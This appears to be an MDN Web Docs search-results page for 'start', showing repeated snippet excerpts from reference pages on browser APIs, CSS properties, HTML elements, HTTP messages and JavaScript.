....focusoffsetread only returns a number representing the offset of the selection's anchor within the focusnode. if focusnode is a text node, this is the number of characters within focusnode preceding the focus. if focusnode is an element, this is the number of child nodes of the focusnode preceding the focus. selection.iscollapsedread only returns a boolean indicating whether the selection's
start and end points are at the same position. selection.rangecountread only returns the number of ranges in the selection. selection.typeread only returns a domstring describing the type of the current selection. methods selection.addrange() a range object that will be added to the selection. selection.collapse() collapses the current selection to a single point. selection.collapsetoend...
... ranges in the selection. selection.typeread only returns a domstring describing the type of the current selection. methods selection.addrange() a range object that will be added to the selection. selection.collapse() collapses the current selection to a single point. selection.collapsetoend() collapses the selection to the end of the last range in the selection. selection.collapseto
start() collapses the selection to the
start of the first range in the selection. selection.containsnode() indicates if a certain node is part of the selection. selection.deletefromdocument() deletes the selection's content from the document. selection.empty() removes all ranges from the selection. this is an alias for removeallranges() — see selection.removeallranges() for more details. sele...
...And 2 more matches
Selection API - Web APIs
pying the selection to a text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or removing one) with selection.addrange()/selection.removerange(), or changing the selection to be the entire contents of a dom node using selection.selectallchildren(). you can run code in response to the selection being changed, or a new selection being
started, using the globaleventhandlers.onselectionchange and globaleventhandlers.onselect
start event handlers. selection api interfaces selection represents the range of text selected by the user or the current position of the caret. extensions to other interfaces window.getselection(), document.getselection() returns a selection object representing the range of text selected by the user ...
...election represents the range of text selected by the user or the current position of the caret. extensions to other interfaces window.getselection(), document.getselection() returns a selection object representing the range of text selected by the user or the current position of the caret. document.getselection() is basically an alias of window.getselection(). globaleventhandlers.onselect
start represents the event handler that is called when a select
start event is fired on the current object (i.e. when a new range of text is about to be selected by the user). globaleventhandlers.onselectionchange represents the event handler that is called when a selectionchange event is fired on the current object (i.e. when the selected text range changes). specifications specificat...
...afari on iossamsung internetselection experimentalchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the globaleventhandlers.onselectionchange and globaleventhandlers.onselect
start event handlers are supported as of firefox 52.ie full support 9opera full support 9safari full support 1webview android full support 1chrome android full support 18firefox an...
...And 2 more matches
SharedWorker - Web APIs
inside different windows. the following code snippet shows creation of a sharedworker object using the sharedworker() constructor. both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property. ...
...windows. the following code snippet shows creation of a sharedworker object using the sharedworker() constructor. both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property. ...
...ippet shows creation of a sharedworker object using the sharedworker() constructor. both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property. ...
...And 2 more matches
Adding 2D content to a WebGL context - Web APIs
« previousnext » once you've successfully created a webgl context, you can
start rendering into it. a simple thing we can do is draw a simple square untextured plane, so let's
start there, by building code to draw a square plane. the complete source code for this project is available on github. this project uses the glmatrix library to perform its matrix operations, so you will need to include that in your project. we're loading a copy from a cdn in our html's <head>. drawing the scene the most important thing to understand before we get
started is that even though we're only rendering a square plane object in this example, we're still drawing in 3d space. it's just we're drawing a square and we're putting it directly in front of the camera perpendicular to the view dir...
... into webgl to build the // shape. we do this by creating a float32array from the // javascript array, then use it to fill the current buffer. gl.bufferdata(gl.array_buffer, new float32array(positions), gl.static_draw); return { position: positionbuffer, }; } this routine is pretty simplistic given the basic nature of the scene in this example. it
starts by calling the gl object's createbuffer() method to obtain a buffer into which we'll store the vertex positions. this is then bound to the context by calling the bindbuffer() method. once that's done, we create a javascript array containing the position for each vertex of the square plane. this is then converted into an array of floats and passed into the gl object's bufferdata() method to esta...
...ple. it uses a few utility routines we'll cover shortly. function drawscene(gl, programinfo, buffers) { gl.clearcolor(0.0, 0.0, 0.0, 1.0); // clear to black, fully opaque gl.cleardepth(1.0); // clear everything gl.enable(gl.depth_test); // enable depth testing gl.depthfunc(gl.lequal); // near things obscure far things // clear the canvas before we
start drawing on it. gl.clear(gl.color_buffer_bit | gl.depth_buffer_bit); // create a perspective matrix, a special matrix that is // used to simulate the distortion of perspective in a camera. // our field of view is 45 degrees, with a width/height // ratio that matches the display size of the canvas // and we only want to see objects between 0.1 units // and 100 units away from the ca...
...And 2 more matches
Geometry and reference spaces in WebXR - Web APIs
mes and durations note that for security reasons, domhighrestimestamp usually introduces a small amount of imprecision to the clock in order to prevent it from being used in fingerprinting and timing-based attacks. all times and durations in webxr are measured using the domhighrestimestamp type, which is a double-precision floating-point value specifying the time in milliseconds relative to the
starting time. since the value is a floating-point number, it may be accurate to well better than the millisecond level, depending on the platform and hardware. time is primarily used to determine the amount of time that's elapsed since the scene's previous animation frame was drawn. as such the time is typically in alignment with the refresh rate of the display, or some fraction thereof if the frame ...
...r, as changes in alignment accumulate over time the origin offset may change to compensate. the position of a point in space relative to the origin is determined by determining its distance along each of the three spatial axes shown in the diagram above. the space's origin is the point (0, 0, 0), at the center of the space and at the zero position along each axis. specifically, under the initial
starting conditions, with the default orientation of the viewer upon the space: the x-axis extends horizontally from left to right away from the origin, with the x coordinate of +1.0 being located at the right edge of the world. negative values of x extend toward the left from the origin, reaching a value of -1.0 at the left edge of the space. the y-axis is positive extending upward from the origin...
... around you to have a coordinate system in which your position is (0, 0, 0)—that is, you're at the center of everything. doesn't that feel empowering? forward, directly toward your headset, is the -y axis, with +y behind you. x is positive to your right and negative to your left. z is negative as you go up and positive as you go upward. this indicates the position of the headset in space at the
start of your use of the xr system, with the origin (0, 0, 0) being positioned basically at the bridge of your nose. this space is the world space. next, consider the xr controller you have in your left hand. it has the ability to report movement and its orientation, but it doesn't know anything about the position of the headset or, more crucially, its coordinate system. but the controller still needs...
...And 2 more matches
Web Audio API best practices - Web APIs
he file from an htmlmediaelement (i.e. an <audio> or <video> element), or you're looking to fetch the file and decode it into a buffer. both are legitimate ways of working, however, it's more common to use the former when you are working with full-length tracks, and the latter when working with shorter, more sample-like tracks. media elements have streaming support out of the box. the audio will
start playing when the browser determines it can load the rest of the file before playing finishes. you can see an example of how to use this with the web audio api in the using the web audio api tutorial. you will, however, have more control if you use a buffer node. you have to request the file and wait for it to load (this section of our advanced article shows a good way to do it), but then you hav...
...ry. it provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the web audio api. r-audio, from the bbc's research & development department, is a library of react components aiming to provide a "more intuitive, declarative interface to web audio". if you're used to writing jsx it might be worth looking at. ...
...this is because autoplaying audio can be really annoying and obtrusive. but how do we handle this? when you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed. when working with an audiocontext, if you create the audio context from inside a click event the state should automatically be set to running. ...
...And 2 more matches
Window - Web APIs
s/sets the status bar text for the given window. window.dialogarguments read only gets the arguments passed to the window (if it's a dialog box) at the time window.showmodaldialog() was called. this is an nsiarray. window.directories synonym of window.personalbar window.globalstorage multiple storage objects that were used for storing data across multiple pages. window.mozanimation
starttime the time in milliseconds since epoch at which the current animation cycle began. use animation.
starttime instead. window.mozpaintcount returns the number of times the current document has been rendered to the screen in this window. this can be used to compute rendering performance. window.orientation read only returns the orientation in degrees (in 90 degree increments) of the...
...ope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout(). windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap. optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh. windoworworkerglobalscope.fetch()
starts the process of fetching a resource from the network. eventtarget.removeeventlistener removes an event listener from the window. windoworworkerglobalscope.setinterval() schedules a function to execute every time a given number of milliseconds elapses. windoworworkerglobalscope.settimeout() schedules a function to execute in a given amount of time. deprecated methods window.back() ...
...torage property. animation events animationcancel fired when an animation unexpectedly aborts. also available via the onanimationcancel property. animationend fired when an animation has completed normally. also available via the onanimationend property. animationiteration fired when an animation iteration has completed. also available via the onanimationiteration property. animation
start fired when an animation
starts. also available via the onanimation
start property. clipboard events clipboardchange fired when the system clipboard content changes. copy fired when the user initiates a copy action through the browser's user interface. also available via the oncopy property. cut fired when the user initiates a cut action through the browser's user interface. also avai...
...And 2 more matches
XRSession: selectend event - Web APIs
ry actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onselectend for details on how the select
start, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses addeventlistener() to establish handlers for the selection events: select
start, selectend, and select. this snippet is the core of an event handler to allow the user to grab objects in the scene and move them around. in this case, a single f...
...t to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for select
start events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably
start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a select event, the mydropobje...
...target ray pose transform as inputs. this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the selectend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. ...
...And 2 more matches
XRSession: squeezeend event - Web APIs
actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueezeend for details on how the squeeze
start, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses addeventlistener() to establish handlers for the squeezeion events: squeeze
start, squeezeend, and squeeze. this snippet is the core of an event handler to allow the user to grab objects in the scene and move them around. in this ca...
... to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for squeeze
start events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably
start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a squeeze event, the mydropobj...
...rget ray pose transform as inputs. this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the squeezeend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. ...
...And 2 more matches
ARIA: timer role - Accessibility
<div role="timer" id="eggtimer">0</div> this defines this div element as a timer with no remaining time. description the timer role indicates to assistive technologies that this part of the web content is a live region containing a timer listing the time remaining or elapsed time. a timer's inner text should be an updating current time measurement. ...
...atches and countdowns, such as ticketing websites, e-commerce sites, and event countdowns (see https://countingdownto.com/). as an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. the clock is updated each minute, with the new remaining time simply overwriting the current content. ...
..., such as ticketing websites, e-commerce sites, and event countdowns (see https://countingdownto.com/). as an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. the clock is updated each minute, with the new remaining time simply overwriting the current content. ...
...And 2 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
out this property in aligning items in a flex container, which deals with aligning items on the main axis. in the below live example we display the items at their natural size and by using justify-content: space-between make equal amounts of space between the items. you can change how the space is distributed using the space-around value, or where supported, space-evenly. you could also use flex-
start to place the space at the end of the items, flex-end to place it before them, or center to centre the navigation items. space distributed within the items a different pattern for navigation would be to distribute the available space within the items themselves, rather than create space between them. in this case we would use the flex properties to allow items to grow and shrink in proportion ...
...space to be distributed evenly. split navigation another way to align items on the main axis is to use auto margins. this enables the design pattern of a navigation bar where one group of items are aligned left and another group aligned right. here we are using the auto margins technique described in using auto margins for main axis alignment. the items are aligned on the main axis with flex-
start as this is the initial behaviour of flexbox, and we are aligning the item on the right by giving it a left margin of auto. you can move the class from one item to another to change where the split happens. also in this example we are using margins on the flex items to create a gap between items, and a negative margin on the container in order that the items still remain flush with the right and ...
... implemented in flexbox, we have to use margins in this way if we want to create a gutter between items. center item before flexbox, developers would joke that the hardest problem in web design was vertical centering. this has now been made straightforward using the alignment properties in flexbox, as the following live example shows. you can play with the alignment, aligning the item to the
start with flex-
start or end with flex-end. in the future we may not need to make a container a flex container just to centre a single item, as the box alignment properties will ultimately be implemented in block layout. for now however, if you need to properly centre one thing inside another, flexbox is the way to do it. as in the above example, make a container into a flex container, and then use ...
...And 2 more matches
Animatable CSS properties - CSS: Cascading Style Sheets
ine-radius-topleft -moz-outline-radius-topright -webkit-line-clamp -webkit-text-fill-color -webkit-text-stroke -webkit-text-stroke-color all backdrop-filter background background-color background-position background-size block-size border border-block-end border-block-end-color border-block-end-width border-block-
start border-block-
start-color border-block-
start-width border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-width border-color border-end-end-radius border-end-
start-radius border-image-outset border-image-slice border-image-width border-inline-end border-inline-end-color bor...
...er-block-
start-width border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-width border-color border-end-end-radius border-end-
start-radius border-image-outset border-image-slice border-image-width border-inline-end border-inline-end-color border-inline-end-width border-inline-
start border-inline-
start-color border-inline-
start-width border-left border-left-color border-left-width border-radius border-right border-right-color border-right-width border-
start-end-radius border-
start-
start-radius border-top border-top-color border-top-left-radius border-top-right-radius border-top-width border-...
... columns filter flex flex-basis flex-grow flex-shrink font font-size font-size-adjust font-stretch font-variation-settings font-weight gap grid-column-gap grid-gap grid-row-gap grid-template-columns grid-template-rows height inline-size inset inset-block inset-block-end inset-block-
start inset-inline inset-inline-end inset-inline-
start left letter-spacing line-clamp line-height margin margin-block-end margin-block-
start margin-bottom margin-inline-end margin-inline-
start margin-left margin-right margin-top mask mask-border mask-position mask-size max-block-size max-height...
...And 2 more matches
Mozilla CSS extensions - CSS: Cascading Style Sheets
t -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright overflow-clip-box overflow-clip-box-block overflow-clip-box-inline s–z -moz-stack-sizing :-moz-system-metric(images-in-menus) :-moz-system-metric(mac-graphite-theme) :-moz-system-metric(scrollbar-end-backward) :-moz-system-metric(scrollbar-end-forward) :-moz-system-metric(scrollbar-
start-backward) :-moz-system-metric(scrollbar-
start-forward) :-moz-system-metric(scrollbar-thumb-proportional) :-moz-system-metric(touch-enabled) :-moz-system-metric(windows-default-theme) -moz-user-focus -moz-user-input -moz-user-modify -moz-window-dragging -moz-window-shadow formerly proprietary properties that are now standard note: to maximize the compatibility of your css, ...
...ground-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [superseded by the standard version border-inline-end-color] -moz-border-end-style [superseded by the standard version border-inline-end-style] -moz-border-end-width [superseded by the standard version border-inline-end-width] -moz-border-image -moz-border-
start [superseded by the standard version border-inline-
start] -moz-border-
start-color [superseded by the standard version border-inline-
start-color] -moz-border-
start-style [superseded by the standard version border-inline-
start-style] -moz-border-
start-width [superseded by the standard version border-inline-
start-width] -moz-box-sizing [prefixed version still accepted] c clip-pat...
...oz-column-rule-color [prefixed version still accepted] -moz-context-properties f–m filter [applying to more than svg] -moz-font-feature-settings [prefixed version still accepted] -moz-font-language-override [prefixed version still accepted] -moz-hyphens [prefixed version still accepted] -moz-margin-end [superseded by the standard version margin-inline-end] -moz-margin-
start [superseded by the standard version margin-inline-
start] mask [applying to more than svg] o -moz-opacityobsolete since gecko 1.9.1 -moz-outlineobsolete since gecko 1.9.2 -moz-outline-colorobsolete since gecko 1.9.2 -moz-outline-offsetobsolete since gecko 1.9.2 -moz-outline-styleobsolete since gecko 1.9.2 -moz-outline-widthobsolete since gecko 1.9.2 p -moz-padding-end [su...
...And 2 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
border-after** -webkit-border-after-color** -webkit-border-after-style** -webkit-border-after-width** -webkit-border-before** -webkit-border-before-color** -webkit-border-before-style** -webkit-border-before-width** -webkit-border-end** -webkit-border-end-color** -webkit-border-end-style** -webkit-border-end-width** -webkit-border-fit -webkit-border-horizontal-spacing -webkit-border-
start** -webkit-border-
start-color** -webkit-border-
start-style** -webkit-border-
start-width** -webkit-border-vertical-spacing -webkit-box-align** -webkit-box-direction** -webkit-box-flex-group** -webkit-box-flex** -webkit-box-lines** -webkit-box-ordinal-group** -webkit-box-orient** -webkit-box-pack** -webkit-box-reflect** c -webkit-column-axis -webkit-column-break-after -webkit-col...
...it-initial-letter l -webkit-line-align -webkit-line-box-contain -webkit-line-clamp -webkit-line-grid -webkit-line-snap -webkit-locale -webkit-logical-height -webkit-logical-width m -webkit-margin-after-collapse -webkit-margin-after -webkit-margin-before-collapse -webkit-margin-before -webkit-margin-bottom-collapse -webkit-margin-collapse -webkit-margin-end** -webkit-margin-
start** -webkit-margin-top-collapse -webkit-marquee-direction -webkit-marquee-increment -webkit-marquee-repetition -webkit-marquee-speed -webkit-marquee-style -webkit-marquee -webkit-mask-box-image-outset -webkit-mask-box-image-repeat -webkit-mask-box-image-slice -webkit-mask-box-image-source -webkit-mask-box-image-width -webkit-mask-box-image -webkit-mask-repeat-x -webkit-mask-repeat-y ...
...mage-slice -webkit-mask-box-image-source -webkit-mask-box-image-width -webkit-mask-box-image -webkit-mask-repeat-x -webkit-mask-repeat-y -webkit-mask-source-type -webkit-max-logical-height -webkit-max-logical-width -webkit-min-logical-height -webkit-min-logical-width n -webkit-nbsp-mode p -webkit-padding-after** -webkit-padding-before** -webkit-padding-end** -webkit-padding-
start** -webkit-perspective-origin-x -webkit-perspective-origin-y -webkit-print-color-adjust r-s -webkit-rtl-ordering -webkit-svg-shadow t -webkit-tap-highlight-color -webkit-text-combine -webkit-text-decoration-skip -webkit-text-decorations-in-effect -webkit-text-fill-color -webkit-text-security -webkit-text-stroke-color -webkit-text-stroke-width -webkit-text-stroke -webkit-text...
...And 2 more matches
box-pack - CSS: Cascading Style Sheets
f the original css flexible box layout module draft, and has been replaced by a newer standard. see flexbox for information about the current standard. the -moz-box-pack and -webkit-box-pack css properties specify how a -moz-box or -webkit-box packs its contents in the direction of its layout. the effect of this is only visible if there is extra space in the box. /* keyword values */ box-pack:
start; box-pack: center; box-pack: end; box-pack: justify; /* global values */ box-pack: inherit; box-pack: initial; box-pack: unset; the direction of layout depends on the element's orientation: horizontal or vertical. syntax the box-pack property is specified as one of the keyword values listed below. values
start the box packs contents at the
start, leaving any extra space at the end. cen...
...erit; box-pack: initial; box-pack: unset; the direction of layout depends on the element's orientation: horizontal or vertical. syntax the box-pack property is specified as one of the keyword values listed below. values
start the box packs contents at the
start, leaving any extra space at the end. center the box packs contents in the center, dividing any extra space equally between the
start and the end. end the box packs contents at the end, leaving any extra space at the
start. ...
...e end. center the box packs contents in the center, dividing any extra space equally between the
start and the end. end the box packs contents at the end, leaving any extra space at the
start. justify the space is divided evenly in-between each child, with none of the extra space placed before the first child or after the last child. if there is only one child, treat the value as if it were
start. notes the edge of the box designated the
start for packing purposes depends on the box's orientation and direction: normal reverse horizontal left right vertical top bottom the edge opposite to the
start is designated the end. if the packing is set using the element's pack attribute, then the style is ignored. formal definition initial ...
...And 2 more matches
clear - CSS: Cascading Style Sheets
want it to always be able to resize, so that it contains floating elements inside it, you need to self-clear its children. this is called clearfix, and one way to do it is to add clear to a replaced ::after pseudo-element on it. #container::after { content: ""; display: block; clear: both; } syntax /* keyword values */ clear: none; clear: left; clear: right; clear: both; clear: inline-
start; clear: inline-end; /* global values */ clear: inherit; clear: initial; clear: unset; values none is a keyword indicating that the element is not moved down to clear past floating elements. left is a keyword indicating that the element is moved down to clear past left floats. right is a keyword indicating that the element is moved down to clear past right floats. both is a keyword in...
...values none is a keyword indicating that the element is not moved down to clear past floating elements. left is a keyword indicating that the element is moved down to clear past left floats. right is a keyword indicating that the element is moved down to clear past right floats. both is a keyword indicating that the element is moved down to clear past both left and right floats. inline-
start is a keyword indicating that the element is moved down to clear floats on
start side of its containing block, that is the left floats on ltr scripts and the right floats on rtl scripts. inline-end is a keyword indicating that the element is moved down to clear floats on end side of its containing block, that is the right floats on ltr scripts and the left floats on rtl scripts. formal defini...
...floats on rtl scripts. inline-end is a keyword indicating that the element is moved down to clear floats on end side of its containing block, that is the right floats on ltr scripts and the left floats on rtl scripts. formal definition initial valuenoneapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | left | right | both | inline-
start | inline-end examples clear: left html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit. phasellus sit amet diam. duis mattis varius dui. suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="left">this paragraph clears left.</p> </div> css .wrapper{ border:1px solid black; ...
...And 2 more matches
float - CSS: Cascading Style Sheets
sions 8 and older using stylefloat. this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascript, as seen in the need to escape "class" as "classname" and escape <label>'s "for" as "htmlfor"). ...
...that is the left side with ltr scripts, and the right side with rtl scripts. inline-end the element must float on the end side of its containing block. that is the right side with ltr scripts, and the left side with rtl scripts. ...
...nd; /* global values */ float: inherit; float: initial; float: unset; the float property is specified as a single keyword, chosen from the list of values below. values left the element must float on the left side of its containing block. right the element must float on the right side of its containing block. none the element must not float. inline-
start the element must float on the
start side of its containing block. that is the left side with ltr scripts, and the right side with rtl scripts. inline-end the element must float on the end side of its containing block. that is the right side with ltr scripts, and the left side with rtl scripts. formal definition initial valuenoneapplies toall elements, but has no effect if the value of display is none.inheritednocomputed valuea...
...And 2 more matches
Live streaming web audio and video - Developer guides
n employed to relay live events such as sports, concerts and more generally tv and radio programmes that are output live. often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. this is a fairly complex and nascent subject with a lot of variables, so in this article, we'll introduce you to the subject and let you know how you can get
started. the key consideration when streaming media to a browser is the fact that rather than playing a finite file we are relaying a file that is being created on the fly and has no pre-determined
start or end. key differences between streamed and static media in this case, we are using static media to describe media that is represented by a file, whether it be an mp3 or webm file. this file sits...
...usually, we require different formats and special server-side software to achieve this. ...
...ams into a series of small segments and making those segments available at different qualities and bit rates. streaming audio and video on demand streaming technology is not used exclusively for live streams. it can also be used instead of the traditional progressive download method for audio and video on demand: there are several advantages to this: latency is generally lower so media will
start playing more quickly adaptive streaming makes for better experiences on a variety of devices media is downloaded just in time which makes bandwidth usage more efficient streaming protocols while static media is usually served over http, there are several protocols for serving adaptive streams; let's take a look at the options. http for now, http is by far the most commonly supported protoc...
...And 2 more matches
Media buffering, seeking, and time ranges - Developer guides
buffering, it may contain holes. this will work with <audio> or <video>; for now let's consider a simple audio example: <audio id="my-audio" controls src="music.mp3"> </audio> we can access these attributes like so: var myaudio = document.getelementbyid('my-audio'); var bufferedtimeranges = myaudio.buffered; timeranges object timeranges are a series of non-overlapping ranges of time, with
start and stop times. (learn more about timeranges). a timeranges object consists of the following properties: length: the number of time ranges in the object.
start(index): the
start time, in seconds, of a time range. end(index): the end time, in seconds, of a time range. without any user interaction there is usually only one time range, but if you jump about in the media more than one time ra...
...o 19 seconds. ...
...====| |===========| | ------------------------------------------------------ 0 5 15 19 21 for this audio instance, the associated timeranges object would have the following available properties: myaudio.buffered.length; // returns 2 myaudio.buffered.
start(0); // returns 0 myaudio.buffered.end(0); // returns 5 myaudio.buffered.
start(1); // returns 15 myaudio.buffered.end(1); // returns 19 to try out and visualize buffered time ranges we can write a little bit of html: <p> <audio id="my-audio" controls> <source src="music.mp3" type="audio/mpeg"> </audio> </p> <p> <canvas id="my-canvas" width="300" height="20"> </canvas> </p> and a little bit of javascript: window.onload = function(){ var myaudio = doc...
...And 2 more matches
Mouse gesture events - Developer guides
erating systems, including mac os x and windows 7, provide default actions when gesture events occur. if you handle a gesture event and wish to prevent the default action from taking place as well, be sure to call the event's preventdefault() method. types of gesture events mozswipegesture the mozswipegesture event is sent when the user uses three fingers to "swipe" the trackpad. mozmagnifygesture
start the mozmagnifygesture
start event is sent when the user begins performing a "pinch" gesture, by using two fingers as the corners of a rectangle and moving them either closer together or farther apart. this is typically used to zoom in and out on content (this is the default behavior in firefox, for example). mozmagnifygestureupdate the mozmagnifygestureupdate event is sent periodically while proce...
...loser together or farther apart. this is typically used to zoom in and out on content (this is the default behavior in firefox, for example). mozmagnifygestureupdate the mozmagnifygestureupdate event is sent periodically while processing a magnify gesture, to provide updated status information. the event's delta value represents the amount by which the gesture has moved since the mozmagnifygesture
start or mozmagnifygestureupdate event. note: this event is sent whenever the movement of the user's fingers exceeds the number of pixels indicated by the browser.gesture.pinch.threshold preference. mozmagnifygesture the mozmagnifygesture event is sent when the user completes a "pinch" gesture. if you only care about the end results of the pinch gesture, you can simply watch for this event; however, ...
...ds the number of pixels indicated by the browser.gesture.pinch.threshold preference. mozmagnifygesture the mozmagnifygesture event is sent when the user completes a "pinch" gesture. if you only care about the end results of the pinch gesture, you can simply watch for this event; however, if you want to provide feedback during the handling of the gesture, you should also watch the mozmagnifygesture
start and mozmagnifygestureupdate events. the delta value is the cumulative change over the course of handling the entire sequence of magnify gesture events. mozrotategesture
start the mozrotategesture
start event is sent when the user begins performing a rotate gesture, by placing two fingers on the trackpad and rotating them around the center of the trackpad. firefox uses this gesture to move backward ...
...And 2 more matches
<ol>: The Ordered List element - HTML: Hypertext Markup Language
like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, and if the <ol> element's children include at least one <li> element, palpable content. permitted content zero or more <li>, <script> and <template> elements. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlolistelement attributes this element also accepts the global attributes. reversed this bo...
...plicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlolistelement attributes this element also accepts the global attributes. reversed this boolean attribute specifies that the list’s items are in reverse order. items will be numbered from high to low.
start an integer to
start counting from for the list items. always an arabic numeral (1, 2, 3, etc.), even when the numbering type is letters or roman numerals. for example, to
start numbering elements from the letter "d" or the roman numeral "iv," use
start="4". type sets the numbering type: a for lowercase letters a for uppercase letters i for lowercase roman numerals i for uppercase rom...
...the order of the list items; if the meaning changes, use the <ol> element — otherwise you can use <ul>. ...
...And 2 more matches
HTML documentation index - HTML: Hypertext Markup Language
s between the current document and an external resource. this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things. 150 <listing> element, html, obsolete, reference, web the html listing element (<listing>) renders text between the
start and end tags without interpreting the html in between and using a monospaced font. the html 2 standard recommended that lines shouldn't be broken when not greater than 132 characters. 151 <main> element, html, html grouping content, html sections, reference, main the html <main> element represents the dominant content of the <body> of a document. the main content area consist...
...bp, picture the html <picture> element contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/device scenarios. 176 <plaintext>: the plain text element (deprecated) element, html, obsolete, plain text, reference, web, plaintext the html plaintext element (<plaintext>) renders everything following the
start tag as raw text, ignoring any following html. 177 <pre>: the preformatted text element element, html, html grouping content, html:flow content, reference, web the html <pre> element represents preformatted text which is to be presented exactly as written in the html file. 178 <progress>: the progress indicator element element, html, html forms, html5, reference...
..., html, html text-level semantics, reference, web the html <wbr> element represents a word break opportunity—a position within text where the browser may optionally break a line, though its line-breaking rules would not otherwise create a break at that location. 220 <xmp> element, html, obsolete, reference, web the html example element (<xmp>) renders text between the
start and end tags without interpreting the html in between and using a monospaced font. the html2 specification recommended that it should be rendered wide enough to allow 80 characters per line. 221 html reference html, landing, reference, web this html reference describes all elements and attributes of html, including global attributes that apply to all elements. 222 ...
...And 2 more matches
HTTP Messages - HTTP
xy, or web server, perform this action. they provide http messages through config files (for proxies or servers), apis (for browsers), or other interfaces. the http/2 binary framing mechanism has been designed to not require any alteration of the apis or config files applied: it is broadly transparent to the user. http requests, and responses, share similar structure and are composed of: a
start-line describing the requests to be implemented, or its status of whether successful or a failure. this
start-line is always a single line. an optional set of http headers specifying the request, or describing the body included in the message. a blank line indicating all meta-information for the request has been sent. an optional body containing data associated with the request (like content of...
...always a single line. an optional set of http headers specifying the request, or describing the body included in the message. a blank line indicating all meta-information for the request has been sent. an optional body containing data associated with the request (like content of an html form), or the document associated with a response. ...
...set of http headers specifying the request, or describing the body included in the message. a blank line indicating all meta-information for the request has been sent. an optional body containing data associated with the request (like content of an html form), or the document associated with a response. the presence of the body and its size is specified by the
start-line and http headers. ...
...And 2 more matches
Iterators and generators - JavaScript
erators could be expressed as arrays, this is not true. arrays must be allocated in their entirety, but iterators are consumed only as necessary. because of this, iterators can express sequences of unlimited size, such as the range of integers between 0 and infinity. here is an example which can do just that. ...
...quences of unlimited size, such as the range of integers between 0 and infinity. here is an example which can do just that. it allows creation of a simple range iterator which defines a sequence of integers from
start (inclusive) to end (exclusive) spaced step apart. its final return value is the size of the sequence it created, tracked by the variable iterationcount. ...
...tween 0 and infinity. here is an example which can do just that. it allows creation of a simple range iterator which defines a sequence of integers from
start (inclusive) to end (exclusive) spaced step apart. its final return value is the size of the sequence it created, tracked by the variable iterationcount. ...
...And 2 more matches
Date - JavaScript
following examples show how to determine the elapsed time between two javascript dates in milliseconds. due to the differing lengths of days (due to daylight saving changeover), months, and years, expressing elapsed time in units greater than hours, minutes, and seconds requires addressing a number of issues, and should be thoroughly researched before being attempted. ...
...ffering lengths of days (due to daylight saving changeover), months, and years, expressing elapsed time in units greater than hours, minutes, and seconds requires addressing a number of issues, and should be thoroughly researched before being attempted. ...
...nd years, expressing elapsed time in units greater than hours, minutes, and seconds requires addressing a number of issues, and should be thoroughly researched before being attempted. ...
...And 2 more matches
String.prototype.matchAll() - JavaScript
